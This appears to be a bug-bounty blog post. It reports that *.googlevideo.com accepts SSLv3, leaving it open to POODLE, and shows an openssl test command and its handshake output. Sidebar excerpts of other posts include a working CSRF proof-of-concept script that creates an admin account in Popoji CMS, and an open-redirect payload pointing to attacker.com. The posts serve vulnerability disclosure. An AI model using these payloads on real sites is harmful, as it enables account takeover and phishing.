SSLv3 Poodle Vulnerability On *.googlevideo.com


What is the POODLE attack?

Padding Oracle On Downgraded Legacy Encryption (POODLE) is an issue that affects SSL 3.0. If an adversary can modify network transmissions between the client and the server they can downgrade the SSL connection to SSL 3.0 and tamper with/decrypt data in transmission.

The actual problem stems from the fact that the block cipher padding in CBC encryption in SSL 3.0 is not fully verified during the decryption process.

Is *.googlevideo.com Vuln ?

actually i test 2 subdomain in googlevideo.com
  1. r8---sn-2uuxa3vh-n0cl.googlevideo.com
  2. r6---sn-4pvgq-n8ve.googlevideo.com

Steps To Reproduce 

openssl s_client -connect r8---sn-2uuxa3vh-n0cl.googlevideo.com:443 -ssl3

 Output :  

$ openssl s_client -connect r8---sn-2uuxa3vh-n0cl.googlevideo.com:443 -ssl3
CONNECTED(00000158)
---
Certificate chain
 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=*.googlevideo.com
   i:/C=US/O=Google Inc/CN=Google Internet Authority G2
 1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgIIalkUCOEByEAwDQYJKoZIhvcNAQELBQAwSTELMAkGA1UE
BhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRl
cm5ldCBBdXRob3JpdHkgRzIwHhcNMTcwMzI5MTMwNzAwWhcNMTcwNjIxMTMwNzAw
WjBrMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwN
TW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzEaMBgGA1UEAwwRKi5n
b29nbGV2aWRlby5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCx
m1dLLDCRPUnUi5GlgUeGDTY50tiiMWRMyFngN8J2wVrwTKRqzxTeaWuoR4AcogXl
QIb8D4cbVBJxiVxezG3gqmPU5ruhPulx3yM/JAd/1U09yrGhW2y2m7HH/J/i1qOO
ff8B051VaUgCl2hpy9Ubpi4d4pXKTaWhsx+6MPGF2tz2BBU5BuQtss+MhHH8S55H
LxPr7t8+STWbHGayQhzJh1c+b/KqZPSRzxX6jch/jpiVvQ3nslEaU2H+WEXdhS37
vD4o8JCZMHs8xypdkb8gamoeoqEd+VV4Q1M1U6YMHyOgS59e7J8RHKabFBbVg/td
i1vrY1C8QxHgwscFI3cdAgMBAAGjggHZMIIB1TAdBgNVHSUEFjAUBggrBgEFBQcD
AQYIKwYBBQUHAwIwgaYGA1UdEQSBnjCBm4IRKi5nb29nbGV2aWRlby5jb22CFCou
YTEuZ29vZ2xldmlkZW8uY29tgicqLmMuZG9jLTAtMC1zai5zai5nb29nbGV1c2Vy
Y29udGVudC5jb22CDyouZ29vZ2xlemlwLm5ldIIKKi5ndnQxLmNvbYIVKi54bi0t
bmdzdHItbHJhOGouY29tghN4bi0tbmdzdHItbHJhOGouY29tMGgGCCsGAQUFBwEB
BFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNy
dDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAd
BgNVHQ4EFgQUG5wcziyS9Lc+dIUupBcaLaozNAcwDAYDVR0TAQH/BAIwADAfBgNV
HSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAhBgNVHSAEGjAYMAwGCisGAQQB
1nkCBQEwCAYGZ4EMAQICMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9wa2kuZ29v
Z2xlLmNvbS9HSUFHMi5jcmwwDQYJKoZIhvcNAQELBQADggEBAHoCDrgYpmx+LXPn
EZfbp5DhIx4vGBmJyiVFcszK6AsYVNfWKG6nuDsHjbDTEnQekHwRo+V/JknGbrTS
VerP+IgK1Jy1U639lqQ5NWznIdM26kdJXLOqHB8pIpA+RXuSAiQIQnsz/2tqsIAm
da9EIdGEojtYItsZjEZ+v/gRfGlZKwbf9/oT2wJX0Ss5g064c8d4oIGFJlQS5dle
aoJPxqhjKNdakZPwPV+L4xSHflUCHJZJF6PeZrPbPPSGaFCxg/xe2Oq3SSwWG9ux
3nQgM6ZjXJ8QNoLqgWF6m/dmkfBb7T+UzHKgJgkWH2MTCkSz91UvmzhFh7CtW5CB
XqLGTD8=
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=*.googlevideo.com
issuer=/C=US/O=Google Inc/CN=Google Internet Authority G2
---
No client certificate CA names sent
---
SSL handshake has read 3401 bytes and written 489 bytes
---
New, TLSv1/SSLv3, Cipher is AES128-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : SSLv3
    Cipher    : AES128-SHA
    Session-ID: 8D6C2B71328DE9CA4135012BD199A20B89492386C7CB09619D958DD1EBE9146F
    Session-ID-ctx:
    Master-Key: AD957D638D07E2C706C2949B7F629850CA5FD16CA8A092C1EDD86B913482956B5D9C3D4FF7E8153E04D36D5AEC8C1CC3
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1492528907
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
---

How much bounty ?

Sadly, google won't fix this bug. :(


Comments

Post a Comment

Popular posts from this blog

Missing CSRF Token On Add Admin [Popoji CMS]

Image
Description: This is happen because when request add admin there's no CSRF token Step To Reproduce : <script>function getMe(){ // retrieve page content var xhr = new XMLHttpRequest(); // now execute the CSRF attack xhr.open("POST", "http://root/popoji/poadmin/ route.php?mod=user&act=addnew", true); xhr.withCredentials="true"; xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.send('username=root&nama_lengkap=test&password=Mypass1337&repeatpass=Mypass1337&email=nosashan dy21%40gmail.com&no_telp=083833232954&level=1'); } </script> <button onclick="getMe();">Let's Rock</button> 1. Save code to .html 2. upload them to host 3. execute it. Video :  https://www.youtube.com/watch?v=1FXXuSiB6jo Fix & Mitigation : give token when request sensitive action. Note: them give me permission to disclose it, and th
Read more

Session not expired When logout [partners.uber.com]

Image
It's funny, when i can reproduce it 4 days ago and make some video, the team said we’re unable to reproduce this issue following the steps you provided. it's i copy - paste with my report on hackerone   Hi, Summary partners.uber.com website is not expiring the user's session immediately after logout. when user logout, the session not expired, and still can send request and the server respond response with OKAY Steps to Reproduce: Log into the website - partners.uber.com Capture any request. For ex, profile edit page using burp proxy. Logout from the website. Replay the request captured in step 2 and notice it displays the proper response. Thanks, the team it's fixed this issue, and say this is was unvalidated issue.but the team won't to disclose report, finally after few roast, team agree to disclose. i try to contact hackerone team with support, because when i want to call hackerone team to my report, there's no option on my report. Last
Read more

Open Redirect On Codepolitan.com

Image
Open Redirect On Codepolitan.com Description :  Open redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access. Impact : Force user go to untrusted website from codepolitan website Location of bug :  https://www.codepolitan.com/users/login?callback= Payload : http://attacker.com Reproduce : 1. Open https://www.codepolitan.
Read more